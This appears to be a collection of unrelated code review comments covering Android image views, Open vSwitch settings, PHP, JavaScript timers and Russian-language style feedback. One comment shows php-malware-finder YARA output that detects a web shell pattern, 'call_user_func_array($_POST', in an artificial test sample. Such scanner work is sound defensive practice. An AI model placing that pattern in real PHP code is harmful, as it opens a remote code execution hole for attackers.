The numbers showed up incorrectly (1. and 1. instead of 1. and 2.); not sure if this is a GitHub markdown bug or not, so just switched to bullet points.


I'm not sure what the reasoning for removing the make by hand aluminum recipe is. All the other bars have a hand and electric version. I just don't see why aluminum needs to be electric only.


```
jvoisin@mim 15:19 ~/Dev/php-malware-finder/php-malware-finder yara ./malwares.yara ./samples/artificial/bypasses.php -s
DodgyPhp ./samples/artificial/bypasses.php
0x6d:$execution: call_user_func_array($_POST
0x6d:$user_function: call_user_func
jvoisin@mim 15:19 ~/Dev/php-malware-finder/php-malware-finder
```

I fail to reproduce your bypass :/


Intentional?


So, we want box 0 to always have a locally unique identifier?


reply


In the past I used `OnDetachedFromWindow`. Unfortunately it's no longer an option because of the RecyclerView behaviour...

RecyclerView detaches cells, which detaches imageViews... Then it will reattach the cell, hence the imageView will be reattached.

Have you reproduced the original issue? On my side I can't repro it, hence not fix it.


There are two more options that need to be set.

     ovs-vsctl set open . external-ids:ovn-encap-type=geneve,vxlan
     ovs-vsctl set open . external-ids:ovn-encap-ip=IP_ADDRESS

IP_ADDRESS needs to be the address other hypervisors would use to create a tunnel to this hypervisor.


Do you have a text suggestion ? "this may cause unwanted behavior or compilation errors" ?


so this switch should be 3-fold, or possibly something more clever to avoid an if in the first place.
`setTimeout` is really slower than `setImmediate` if it is available.

Also, does this break also on v0.8?


Thanks, I hope that can be corrected, because I wanted to extend my controller exactly and saw that example and was very confused.


Damn .... i rechecked your regex, my bad. But you just flagged all opensource frameworks as malware! Laravel, codeignietr, wordpress, magento, prestashop and so on! :))


well, you said to fix any bugs i found ;)
i'm sure i wasn't the only one to try putting challenge doors on ship once i discovered they don't break when you dig them up :) - i currently have 4 lol


Oh no, don't tell me alice0meta won. :(


Is this needed?


Thanks - I see what you did with the msg receipt callback, I wish I'd thought of that.  Sorry to be such a PITA on this one.


openvswitch.org?


В одном коммите функциональные изменения и изменения форматирования. Следовало разделить на два коммита. На будущее: проще настроить в своем текстовом редакторе удаление пробельных символов в конце строк при сохранении файла.


Лишняя пустая строка.


Сообщение могло бы быть более информативным!!! Например!!!
```
Error: missing required arguments

Solve equation: a⋅x² + b⋅x + c = 0
Usage:
    equation <a> <b> <c>
```


This was needed for Java 6/7. Java 8 will do it differently yet again.


maybe just parameters instead of provideParameters cause we know about this "provide" context when we're in some Provider


Implements #28.


В первой ветке условия выполняется завершение приложения, поэтому при срабатывании условия вторая ветка не будет выполняться. Следовательно, нет смысла писать блок `else` и создавать дополнительный уровень вложенности.


Нестандартное форматирование. Логика вертикального выравнивания прослеживается, но обычно так не пишут.